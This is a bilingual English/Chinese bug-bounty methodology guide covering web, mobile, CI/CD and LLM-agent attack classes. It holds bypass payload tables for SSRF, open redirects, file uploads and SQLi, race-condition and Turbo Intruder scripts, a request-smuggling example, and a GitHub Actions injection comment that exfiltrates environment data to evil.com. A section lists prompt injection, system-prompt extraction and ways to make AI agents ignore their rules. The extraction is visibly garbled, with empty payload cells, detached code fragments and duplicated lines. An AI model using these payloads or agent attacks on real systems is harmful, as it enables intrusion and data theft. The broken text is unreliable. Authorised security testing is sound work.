“变更了什么”方法
- Find disclosed report for similar tech
- Get the fix commit
- Read the diff -- identify the anti-pattern
- Grep your target for that same anti-pattern
- 查找采用相似技术的公开报告
- 获取修复 commit
- 阅读 diff——识别反模式
- 在目标中 grep 相同的反模式
Threat Model Template
威胁建模模板
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___6 Key Patterns from Top Reports
顶尖报告中的 6 种关键模式
- Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence -- in one place,
timingSafeEqualelsewhere=== - "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth -- guarded but
/api/v1/isn't/api/ - Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend
- 功能复杂度 = 漏洞面——导入、集成、多租户、多步骤工作流
- 开发者不一致 = 最有力证据——一个位置使用 ,另一个位置使用
timingSafeEqual=== - “Else 分支”漏洞——proxy/gateway 在 else 路径中传递原始 token,却没有验证
- 导入/导出 = SSRF——历史上每个“从 URL 导入”功能都曾出现 SSRF
- 次要/旧版端点 = 无认证——有保护,但
/api/v1/没有/api/ - 金融操作中的竞态窗口——检查后扣减被拆成两次 DB 操作 = 双倍消费
PHASE 3: HUNT
PHASE 3:HUNT(漏洞挖掘)
Note-Taking System (Never Hunt Without This)
笔记系统(没有笔记系统时绝不要开始挖掘)
markdown
undefinedmarkdown
undefinedTARGET: company.com -- SESSION 1
TARGET: company.com -- SESSION 1
Interesting Leads (not confirmed bugs yet)
Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
Dead Ends (don't revisit)
Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
Anomalies
Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
Rabbit Holes (time-boxed, max 15 min each)
Rabbit Holes (time-boxed, max 15 min each)
- 10 min: JWT kid injection on auth endpoint
- 10 min: JWT kid injection on auth endpoint
Confirmed Bugs
Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
undefined- [15:10] IDOR on /api/invoices/{id} -- read+write
undefinedSubdomain Type -> Hunt Strategy
子域名类型 -> 挖掘策略
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers ()
X-Forwarded-For: 127.0.0.1 - api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri - upload/cdn: CORS, path traversal, stored XSS
- dev/staging/test:Debug 端点、禁用的认证、详细错误信息
- admin/internal:默认凭据、IP 绕过 Header()
X-Forwarded-For: 127.0.0.1 - api/api-v2:使用 kiterunner 枚举,检查未受保护的旧版本
- auth/sso:OAuth 配置错误、中的开放重定向
redirect_uri - upload/cdn:CORS、路径遍历、存储型 XSS
CVE-Seeded Audit Approach
CVE 种子审计方法
- Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
- Reproduce old bugs -- verify you can find the pattern in older code
- Pattern-match forward -- search for the same anti-pattern in current code
- Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
- 构建 CVE 评估集——为目标代码库收集 5 到 10 个历史 CVE
- 复现旧漏洞——验证你能否在旧代码中找到该模式
- 向前进行模式匹配——在当前代码中搜索相同的反模式
- 聚焦广泛攻击面——JS 引擎、解析器,以及任何处理不可信外部输入的组件
Rust/Blockchain Source Code (Hard-Won Lessons)
Rust/区块链源代码(经验教训)
Panic paths: encoding vs decoding -- on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
.unwrap()"Known TODO" is not a mitigation -- A comment like doesn't mean safe.
// Votes are not signed for nowPattern-based hunting from confirmed findings -- If is broken, check and .
verify_signed_voteverify_signed_proposalverify_commit_signaturebash
undefinedPanic 路径:编码与解码——编码路径上的 并不是攻击者可以触发的。只有对网络输入进行反序列化或解码时产生的 panic 才可利用。
.unwrap()“已知 TODO”不是缓解措施——类似 的注释并不意味着安全。
// Votes are not signed for now从已确认发现中进行模式化挖掘——如果 存在问题,也要检查 和 。
verify_signed_voteverify_signed_proposalverify_commit_signaturebash
undefinedRust dangerous patterns (network-facing)
Rust dangerous patterns (network-facing)
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth"
grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"
---grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize"
grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth"
grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"
---VULNERABILITY HUNTING CHECKLISTS
漏洞挖掘检查清单
IDOR -- Insecure Direct Object Reference
IDOR——不安全的直接对象引用
#1 most paid web2 class -- 30% of all submissions that get paid.
#1 收益最高的 Web2 漏洞类型——所有获得奖金的提交中有 30% 属于此类。
IDOR Variants (10 Ways to Test)
IDOR 变体(10 种测试方式)
| Variant | What to Test |
|---|---|
| V1: Direct | Change object ID in URL path |
| V2: Body param | Change ID in POST/PUT JSON body |
| V3: GraphQL node | |
| V4: Batch/bulk | |
| V5: Nested | Change parent ID: |
| V6: File path | |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try |
| V10: Header injection | |
| 变体 | 测试内容 |
|---|---|
| V1:直接对象 | 修改 URL 路径中的对象 ID: |
| V2:Body 参数 | 修改 POST/PUT JSON Body 中的 ID: |
| V3:GraphQL node | |
| V4:批量/批量操作 | |
| V5:嵌套对象 | 修改父级 ID: |
| V6:文件路径 | |
| V7:可预测 | 连续整数、时间戳、短 UUID |
| V8:方法替换 | GET 返回 403?尝试在同一端点执行 PUT/PATCH/DELETE |
| V9:版本回退 | v2 被阻止?尝试在同一端点使用 |
| V10:Header 注入 | |
IDOR Testing Checklist
IDOR 测试检查清单
- Create two accounts (A = attacker, B = victim)
- Log in as A, perform all actions, note all IDs in requests
- Log in as B, replay A's requests with A's IDs using B's auth
- Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
- Check API v1/v2 differences
- Check GraphQL schema for node() queries
- Check WebSocket messages for client-supplied IDs
- Test batch endpoints (can you request multiple IDs?)
- Try adding unexpected params:
?user_id=other_user
- 创建两个账户(A = 攻击者,B = 受害者)
- 以 A 登录,执行所有操作,并记录请求中的所有 ID
- 以 B 登录,使用 B 的认证信息重放带 A 的 ID 的请求
- 对每个端点尝试交换 ID——不只是 GET,还包括 PUT/DELETE/PATCH
- 检查 API v1/v2 差异
- 检查 GraphQL schema 中的 node() 查询
- 检查 WebSocket 消息中的客户端提供 ID
- 测试批量端点(能否一次请求多个 ID?)
- 尝试添加意外参数:
?user_id=other_user
IDOR Chains (higher payout)
IDOR 漏洞链(收益更高)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High
- IDOR + 读取 PII = Medium
- IDOR + 写入(修改他人数据)= High
- IDOR + 管理端点 = Critical(权限提升)
- IDOR + 账户接管路径 = Critical
- IDOR + Chatbot(LLM 读取其他用户数据)= High
SSRF -- Server-Side Request Forgery
SSRF——服务端请求伪造
- Try cloud metadata:
http://169.254.169.254/latest/meta-data/ - Try internal services: (Redis),
http://127.0.0.1:6379/(Elasticsearch),:9200(MongoDB):27017 - Test all IP bypass techniques (see table below)
- Test protocol bypass: ,
file://,dict://gopher:// - Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
- 尝试云元数据:
http://169.254.169.254/latest/meta-data/ - 尝试内部服务:(Redis)、
http://127.0.0.1:6379/(Elasticsearch)、:9200(MongoDB):27017 - 测试所有 IP 绕过技术(见下表)
- 测试协议绕过:、
file://、dict://gopher:// - 查找位置:webhook URL、从 URL 导入、头像 URL、PDF 生成器、XML 解析器
SSRF IP Bypass Table (11 Techniques)
SSRF IP 绕过表(11 种技术)
| Bypass | Payload | Notes |
|---|---|---|
| Decimal IP | | 127.0.0.1 as single decimal |
| Hex IP | | Hex representation |
| Octal IP | | Octal 0177 = 127 |
| Short IP | | Abbreviated notation |
| IPv6 | | Loopback in IPv6 |
| IPv6-mapped | | IPv4-mapped IPv6 |
| Redirect chain | | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | | Parser confusion |
| Enclosed alphanumeric | | Unicode numerals |
| Protocol smuggling | | Redis/other protocols |
| 绕过方式 | Payload | 说明 |
|---|---|---|
| 十进制 IP | | 以单个十进制数表示 127.0.0.1 |
| 十六进制 IP | | 十六进制表示 |
| 八进制 IP | | 八进制 0177 = 127 |
| 短 IP | | 缩写表示法 |
| IPv6 | | IPv6 Loopback |
| IPv4 映射 IPv6 | | IPv4 映射 IPv6 |
| 重定向链 | | 检查每一个跳转 |
| DNS rebinding | 注册解析到 127.0.0.1 的域名 | 首次检查为外部,请求时为内部 |
| URL 编码 | | 解析器混淆 |
| 字母数字包围形式 | | Unicode 数字 |
| 协议走私 | | Redis 或其他协议 |
SSRF Impact Chain
SSRF 影响链
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)
- 仅 DNS = Informational(不要提交)
- 可访问内部服务 = Medium
- 可读取云元数据 = High(密钥暴露)
- 云元数据 + 密钥外泄 = Critical(云上代码执行)
- 可访问 Docker API = Critical(直接 RCE)
OAuth / OIDC
OAuth / OIDC
- Missing parameter -> CSRF
state - accepts wildcards -> ATO
redirect_uri - Missing PKCE -> code theft
- Implicit flow -> token leakage in referrer
- Open redirect in post-auth redirect -> OAuth token theft chain
- 缺少 参数 -> CSRF
state - 接受通配符 -> ATO
redirect_uri - 缺少 PKCE -> 授权码窃取
- Implicit flow -> Referrer 中泄露 token
- 认证后的重定向存在开放重定向 -> OAuth token 窃取漏洞链
Open Redirect Bypass Table (11 Techniques)
开放重定向绕过表(11 种技术)
Use these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|---|---|---|
| Double URL encoding | | Decodes to |
| Backslash | | Some parsers normalize |
| Missing protocol | | Protocol-relative |
| @-trick | | target.com becomes username |
| Protocol-relative | | Triple slash |
| Tab/newline injection | | Whitespace in hostname |
| Fragment trick | | Fragment misleads validation |
| Null byte | | Some parsers truncate at null |
| Parameter pollution | | Last value wins |
| Path confusion | | Path traversal in redirect |
| Unicode normalization | | Visual confusion |
在将开放重定向串联为 OAuth 授权码窃取时使用:
| 绕过方式 | Payload | 说明 |
|---|---|---|
| 双重 URL 编码 | | 双重解码后变为 |
| 反斜杠 | | 某些解析器会将 |
| 缺少协议 | | 协议相对 URL |
| @ 技巧 | | target.com 成为 username |
| 协议相对 URL | | 三斜杠 |
| Tab/换行注入 | | hostname 中包含空白字符 |
| Fragment 技巧 | | Fragment 干扰验证逻辑 |
| Null byte | | 某些解析器在 null 处截断 |
| 参数污染 | | 最后一个值生效 |
| 路径混淆 | | 重定向中的路径遍历 |
| Unicode 规范化 | | 视觉混淆 |
File Upload
文件上传
File Upload Bypass Table
文件上传绕过表
| Bypass | Technique |
|---|---|
| Double extension | |
| Case variation | |
| Alternative extensions | |
| Content-Type spoof | |
| Magic bytes | |
| .htaccess upload | |
| SVG XSS | |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | |
| 绕过方式 | 技术 |
|---|---|
| 双扩展名 | |
| 大小写变体 | |
| 替代扩展名 | |
| Content-Type 欺骗 | 使用 |
| Magic bytes | |
| 上传 .htaccess | |
| SVG XSS | |
| 竞态条件 | 在清理前完成上传与执行 |
| JPEG/PHP Polyglot | 同时是有效 JPEG 和有效 PHP 的文件 |
| Zip slip | 压缩包内文件名包含 |
Magic Bytes Reference
Magic Bytes 参考
| Type | Hex |
|---|---|
| JPEG | |
| PNG | |
| GIF | |
| |
| ZIP/DOCX/XLSX | |
| 类型 | 十六进制 |
|---|---|
| JPEG | |
| PNG | |
| GIF | |
| |
| ZIP/DOCX/XLSX | |
Race Conditions
竞态条件
- Coupon codes / promo codes
- Gift card redemption
- Fund transfer / withdrawal
- Voting / rating limits
- OTP verification brute via race
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait- Coupon code / promo code
- 礼品卡兑换
- 资金转账/提现
- 投票/评分限制
- 通过竞态暴力破解 OTP 验证
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
waitTurbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
Turbo Intruder——单数据包攻击(所有请求同时到达)
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)Business Logic
业务逻辑
- Negative quantities in cart
- Price parameter tampering
- Workflow skip (e.g., pay without checkout)
- Role escalation via registration fields
- Privilege persistence after downgrade
- 购物车中的负数数量
- 价格参数篡改
- 工作流跳过(例如不进入结账流程便完成支付)
- 通过注册字段提升角色权限
- 降级后权限仍然保留
XSS -- Cross-Site Scripting
XSS——跨站脚本
XSS Sinks (grep for these)
XSS Sink(对这些位置执行 grep)
javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInputjavascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInputXSS Chains (escalate from Medium to High/Critical)
XSS 漏洞链(从 Medium 升级到 High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
- XSS + 敏感页面(银行、管理后台)= High
- XSS + CSRF token 窃取 = CSRF 绕过 -> Critical 操作
- XSS + Service Worker = 跨页面持久化 XSS
- XSS + 通过虚假登录表单窃取凭据 = ATO
- Chatbot 响应中的 XSS = 存储型 XSS 漏洞链
SQL Injection
SQL 注入
Detection
检测
bash
undefinedbash
undefinedSingle quote test
Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
Error-based detection
Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined'; SELECT 1/0-- # divide by zero error reveals SQLi
undefinedModern SQLi WAF Bypass
现代 SQLi WAF 绕过
sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1GraphQL
GraphQL
Introspection (alone = Informational, but reveals attack surface)
Introspection(单独来看为 Informational,但会暴露攻击面)
graphql
{ __schema { types { name fields { name type { name } } } } }graphql
{ __schema { types { name fields { name type { name } } } } }Missing Field-Level Auth
缺少字段级授权
graphql
undefinedgraphql
undefinedUser query returns only own data
User query returns only own data
{ user(id: 1) { name email } }
{ user(id: 1) { name email } }
But node() bypasses per-object auth:
But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefinedBatching Attack (Rate Limit Bypass)
批处理攻击(绕过速率限制)
json
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]json
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]LLM / AI Features
LLM / AI 功能
- Prompt injection via user input passed to LLM
- Indirect injection via document/URL the AI processes
- IDOR in chat history (enumerate conversation IDs)
- System prompt extraction via roleplay/encoding
- RCE via code execution tool abuse
- ASCII smuggling (invisible unicode in LLM output)
- 通过传入 LLM 的用户输入实施提示词注入
- 通过 AI 处理的文档或 URL 实施间接提示词注入
- Chat history 中的 IDOR(枚举 conversation ID)
- 通过角色扮演或编码提取系统提示词
- 滥用代码执行工具实现 RCE
- ASCII 走私(在 LLM 输出中隐藏 Unicode 字符)
Agentic AI Hunting (OWASP ASI01-ASI10)
Agentic AI 挖掘(OWASP ASI01-ASI10)
When target has AI agents with tool access, these are the 10 attack classes:
| ID | Vuln Class | What to Test |
|---|---|---|
| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
当目标拥有可访问工具的 AI agent 时,需要测试以下 10 类攻击:
| ID | 漏洞类型 | 测试内容 |
|---|---|---|
| ASI01 | 提示词注入 | 通过用户输入覆盖系统提示词,让 agent 忽略其规则 |
| ASI02 | 工具滥用 | 让 AI 使用攻击者控制的参数调用工具(通过“fetch URL”实施 SSRF,通过代码工具实施 RCE) |
| ASI03 | 数据外泄 | 通过精心构造的提示词提取训练数据/PII,泄露上下文 |
| ASI04 | 权限提升 | 利用 AI 访问仅限管理员使用的工具——agent 的权限高于用户 |
| ASI05 | 间接提示词注入 | 污染 AI 处理的文档或 URL,在获取的内容中植入隐藏指令 |
| ASI06 | 过度自主权 | AI 未经确认便执行破坏性操作——删除、发送、支付 |
| ASI07 | 模型 DoS | 构造导致无限循环、过量 token 消耗或 OOM 的输入 |
| ASI08 | 不安全输出 | AI 生成 XSS/SQLi/command injection,并且输出被渲染 |
| ASI09 | 供应链 | 入侵 AI 调用的插件、工具或 MCP server |
| ASI10 | 敏感信息披露 | AI 泄露内部配置、API key、系统提示词或用户数据 |
**分流规则:**单独的 ASI = Informational。必须串联到 IDOR、数据外泄、RCE 或 ATO,才能获得漏洞赏金。
Cache Poisoning / Web Cache Deception
缓存投毒 / Web Cache Deception
- Test ,
X-Forwarded-Host,X-Original-URL-- unkeyed headers reflected in responseX-Rewrite-URL - Parameter cloaking ()
?param=value;poison=xss - Fat GET (body params on GET requests)
- Web cache deception (-- trick cache into storing private response)
/account/settings.css - Param Miner (Burp extension) -- auto-discovers unkeyed headers
- 测试 、
X-Forwarded-Host、X-Original-URL——未作为缓存键的 Header 是否在响应中反射X-Rewrite-URL - 参数隐藏()
?param=value;poison=xss - Fat GET(GET 请求携带 Body 参数)
- Web cache deception(——诱导缓存存储私有响应)
/account/settings.css - Param Miner(Burp 扩展)——自动发现未作为缓存键的 Header
HTTP Request Smuggling
HTTP 请求走私
- CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
- TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
- H2.CL: HTTP/2 downgrade smuggling
- TE obfuscation: , tab prefix, space prefix
Transfer-Encoding: xchunked - Use Burp "HTTP Request Smuggler" extension -- detects automatically
- CL.TE:前端处理 Content-Length,后端处理 Transfer-Encoding
- TE.CL:前端处理 Transfer-Encoding,后端处理 Content-Length
- H2.CL:HTTP/2 降级走私
- TE 混淆:、Tab 前缀、空格前缀
Transfer-Encoding: xchunked - 使用 Burp 的“HTTP Request Smuggler”扩展——自动检测
CL.TE Example
CL.TE 示例
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDFrontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED前端读取 Content-Length: 13 -> 发送全部内容。后端读取 Transfer-Encoding -> 将 chunk “0” 视为结束 -> “SMUGGLED” 留在缓冲区中 -> 下一位用户的请求被污染。
Android / Mobile Hunting
Android / 移动端挖掘
- Certificate pinning bypass (Frida/objection)
- Exported activities/receivers (AndroidManifest.xml)
- Deep link injection
- Shared preferences / SQLite in cleartext
- WebView JavaScript bridge
- Mobile API often uses older/different API version than web
- 证书固定绕过(Frida/objection)
- 导出的 Activity/Receiver(AndroidManifest.xml)
- Deep link 注入
- Shared Preferences / SQLite 以明文存储
- WebView JavaScript bridge
- 移动端 API 通常使用比 Web 端更旧或不同的 API 版本
CI/CD Pipeline — GitHub Actions Security
CI/CD 流水线——GitHub Actions 安全
Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:or download binary from releases.brew install sisakulintQuick scan:— flags Critical/High issues with auto-fix suggestions. Remote scan:sisakulint scan .github/workflows/— scan without cloning.sisakulint scan --remote owner/repo
工具:使用 sisakulint 进行自动化 SAST——包含 52 条规则,支持跨步骤、Job 和 reusable workflow 的 taint propagation,覆盖 81.6% 的 GitHub Security Advisories(38 个 GHSA 中的 31 个)。安装:或从 releases 下载二进制文件。brew install sisakulint快速扫描:——标记 Critical/High 问题并提供自动修复建议。 远程扫描:sisakulint scan .github/workflows/——无需 clone 即可扫描。sisakulint scan --remote owner/repo
Recon: Finding Workflow Files
Recon:查找 Workflow 文件
bash
undefinedbash
undefinedClone target's public repos, then:
Clone target's public repos, then:
find . -name ".yml" -path "/.github/workflows/*" | head -50
find . -name ".yml" -path "/.github/workflows/*" | head -50
Quick grep for dangerous patterns:
Quick grep for dangerous patterns:
grep -rn "pull_request_target|workflow_run" .github/workflows/
grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/
grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/
grep -rn 'secrets.|secrets: inherit' .github/workflows/
grep -rn "pull_request_target|workflow_run" .github/workflows/
grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/
grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/
grep -rn 'secrets.|secrets: inherit' .github/workflows/
Run sisakulint on all workflows:
Run sisakulint on all workflows:
sisakulint scan .github/workflows/
undefinedsisakulint scan .github/workflows/
undefinedCategory 1: Code Injection & Expression Safety (CICD-SEC-04)
类别 1:代码注入与表达式安全(CICD-SEC-04)
Root cause: Untrusted input (, , branch names, commit messages) interpolated into blocks via expressions.
github.event.issue.titlegithub.event.pull_request.bodyrun:${{ }}Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref- Expression injection — in
${{ github.event.issue.title }}block = RCErun:yaml# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - Environment variable injection — untrusted input →
$GITHUB_ENVyaml# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH injection — untrusted input → = arbitrary binary execution
$GITHUB_PATH - Output clobbering — untrusted input → without heredoc delimiter = downstream job manipulation
$GITHUB_OUTPUT - Argument injection — untrusted input as CLI argument (e.g., )
docker run ${{ ... }}yaml# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - Request forgery (SSRF) — attacker-controlled URL in /
curlwithin workflowwget
根因:不可信输入(、、分支名称、commit message)通过 表达式插入 块。
github.event.issue.titlegithub.event.pull_request.body${{ }}run:Taint source(攻击者可控):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref- 表达式注入——块中的
run:= RCE${{ github.event.issue.title }}yaml# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - 环境变量注入——不可信输入 ->
$GITHUB_ENVyaml# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH 注入——不可信输入 -> = 任意二进制文件执行
$GITHUB_PATH - 输出覆盖——不可信输入未经 heredoc delimiter 写入 = 下游 Job 被操纵
$GITHUB_OUTPUT - 参数注入——不可信输入作为 CLI 参数(例如 )
docker run ${{ ... }}yaml# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - 请求伪造(SSRF)——workflow 中 /
curl请求攻击者控制的 URLwget
Category 2: Pipeline Poisoning & Untrusted Checkout
类别 2:流水线投毒与不可信 Checkout
Root cause: Privileged triggers (, ) checkout attacker's PR code, which then runs with repository secrets.
pull_request_targetworkflow_run- Untrusted checkout — on
actions/checkoutwithout explicit safe refpull_request_targetyaml# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
- Reusable workflow taint — passes all secrets to called workflow that processes untrusted input
secrets: inherit - Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
- Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
- Artifact poisoning — from untrusted
actions/download-artifactwithout validationworkflow_runyaml# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked — with
actions/checkout(default) leakspersist-credentials: truecredentials in uploaded artifacts.git/configyaml# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
根因:特权 trigger(、)checkout 攻击者的 PR 代码,随后使用仓库 secrets 执行这些代码。
